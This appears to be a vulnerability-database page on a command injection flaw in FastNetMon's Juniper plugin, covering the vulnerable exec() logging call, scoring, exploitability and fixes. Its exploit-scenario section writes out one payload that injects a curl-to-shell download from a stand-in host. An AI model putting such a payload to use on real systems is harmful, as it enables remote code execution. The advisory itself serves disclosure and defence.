Skip to main content

FastNetMon EUVDEUVD-2026-31843

| CVE-2026-48687 CRITICAL
OS Command Injection (CWE-78)
2026-05-26 mitre GHSA-qx97-6jw5-h44w
9.8
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Influence IP/argument input to plugin
  2. Delivery
    Pass crafted string into fastnetmon_juniper.php argv
  3. Exploit
    Break out of exec() log command via shell metacharacters
  4. Execution
    Execute arbitrary commands as FastNetMon host user
  5. Impact
    Full host compromise

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the fastnetmon_juniper.php script receive an attacker-influenced value in argv[1]-argv[3] (attack IP, direction, power) containing shell metacharacters, AND that this value bypass FastNetMon's normal C++ data path. The explicit limiting factor stated in the CVE: in default deployments the IP is generated by inet_ntoa(), which only produces safe dotted-decimal notation, so the injectable input is not attacker-controllable through the standard flow. The condition that ENABLES exploitation is one of: the PHP script being invoked directly with crafted arguments, being called by a separate orchestration system that passes untrusted/string-sourced IPs, or a future code change that supplies string-sourced IPs to the script. Therefore, despite the AV:N/PR:N CVSS vector, this is NOT remote-unauthenticated against a default FastNetMon installation; it is contingent on a non-default integration or direct invocation, plus local/pipeline ability to set the script arguments.

Impact

The signals conflict sharply and should be reconciled before prioritization. The CVSS:3.1 vector (AV:N/AC:L/PR:N/UI:N/C:H/I:H/A:H = 9.8) models trivial, unauthenticated, network-reachable full compromise - but the vulnerability description itself states that the only attacker-influenced input (the IP address) is currently produced by inet_ntoa() in the C++ core, which can only emit safe dotted-decimal notation. That means in a standard FastNetMon deployment the dangerous path is not actually reachable with attacker data; the bug becomes exploitable only if the PHP script is run directly, wired into another orchestration system that forwards untrusted strings, or if future code changes supply string-sourced IPs. No EPSS score, SSVC decision, KEV entry, or confirmed POC was provided, so there is no evidence of active exploitation or automatability. Net assessment: this is a latent/defense-in-depth code-quality defect with high theoretical impact but low real-world exploitability under default configurations - the 9.8 overstates current risk. Verify with the vendor and your own deployment whether the script ever receives non-inet_ntoa() input.

Exploit ScenarioDerived

An operator wires the FastNetMon Juniper plugin into a custom orchestration pipeline that forwards an externally supplied IP string into argv[1] of fastnetmon_juniper.php. An attacker who can influence that upstream value submits a payload such as 1.2.3.4"; curl http://evil/x.sh | sh;

which, once concatenated into the exec() log command, runs as the FastNetMon host user. No public POC was provided; the AV:N/AC:L/PR:N/UI:N vector applies only along this non-default invocation path.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 27, 2026

OS command injection in FastNetMon Community Edition (through 1.2.9) lets attacker-controlled input reach an unescaped exec() call inside the Juniper router integration plugin, enabling arbitrary shell command execution on the host. The flaw lives in the _log() function of src/juniper_plugin/fastnetmon_juniper.php, where the $msg argument (built from argv[1]-argv[3]: attack IP, direction, power) is concatenated directly into a shell command. Although rated CVSS 9.8, practical exploitation is gated: FastNetMon's C++ core currently feeds IPs through inet_ntoa(), which only yields safe dotted-decimal strings, so injection requires the script to be driven directly or by a third-party orchestrator. There is no public exploit identified at time of analysis and it is not listed in CISA KEV.

RemediationAI

No vendor-released patch (fixed version) is identified at time of analysis; the references point to the source repository and a research blog rather than a tagged release or merged fix commit. The researcher-recommended code fix is to stop using exec() for logging - write the log line with file_put_contents() instead - or, if exec() must remain, wrap every parameter ($msg and the argv-derived IP/direction/power values) in escapeshellarg() and validate that the IP is well-formed dotted-decimal before use. Until an upstream fix is available, apply compensating controls: restrict filesystem and execution permissions so only the FastNetMon service account can invoke fastnetmon_juniper.php (prevents direct/manual invocation with crafted arguments, with no functional side effect); do not connect this plugin to any external orchestration layer that could pass unvalidated or string-sourced IPs (may require reworking custom automation); and add input validation/allowlisting on any wrapper that calls the script. Track the upstream repository and the advisory at https://nvd.nist.gov/vuln/detail/CVE-2026-48687 for a patched release.

Affected VersionsENISA

n/a n/a

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component is a PHP helper script that FastNetMon uses to integrate with Juniper routers for automated DDoS/blackhole actions. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). At lines 117-118 the _log() function builds a logging command via string concatenation - exec("echo date \"- {FASTNETMON] - " . $msg . " \" >> " . $FILE_LOG_TMP) - passing it to PHP's exec(). Because PHP exec() invokes a system shell, both the embedded backtick date and any shell metacharacters in $msg (e.g. ;, |, $(), backticks) are interpreted, not treated as literal text. No escapeshellarg(), escapeshellcmd(), or input validation is applied to the argv-derived parameters. The CPE string supplied (cpe:2.3:a:n/a:n/a:*) is a placeholder and contributes no usable product/version data.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
CVSS changed
May 27, 2026 - 19:37 NVD
9.8 (CRITICAL)
CVE Published
May 26, 2026 - 00:00 nvd
UNKNOWN (no severity yet)

DescriptionNVD

FastNetMon Community Edition through 1.2.9 contains an OS command injection vulnerability in the Juniper router integration plugin. The _log() function in src/juniper_plugin/fastnetmon_juniper.php (lines 117-118) constructs shell commands by concatenating the $msg parameter directly into exec() calls: exec("echo date \"- {FASTNETMON] - " . $msg . " \" >> " . $FILE_LOG_TMP). The $msg variable contains unsanitized data derived from command-line arguments argv[1] through argv[3], which represent the attack IP address, direction, and power. While FastNetMon's C++ core currently passes IP addresses via inet_ntoa() (which only produces safe dotted-decimal notation), the PHP script performs no input validation or shell escaping. If the script is invoked directly, by another orchestration system, or if future code changes pass string-sourced IPs, arbitrary commands can be injected. The correct fix is to replace exec() with file_put_contents() or use escapeshellarg() on all parameters.

Executive ViewAI

Why It Matters

FastNetMon Community Edition versions 1.2.9 and earlier contain a critical command injection vulnerability in the Juniper router integration that could allow attackers to execute arbitrary commands on the host system, potentially compromising network monitoring infrastructure. Exploitation requires direct script invocation or integration with a third-party system, and no public exploit code has been identified at this time. Organizations relying on FastNetMon for DDoS detection and network visibility should assess their exposure and implement immediate access controls to restrict unauthorized script execution.

Business Impact: High
Compensating Controls

Implement strict network access controls and file permissions on the FastNetMon host to prevent unauthorized script execution. Disable or remove the Juniper router integration plugin if not required. Monitor script execution logs for suspicious argv parameters. Restrict administrative access to the FastNetMon system. Apply vendor patch immediately once available.

Threat Intelligence Overview

EPSS Score
0.1%
Top 68% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy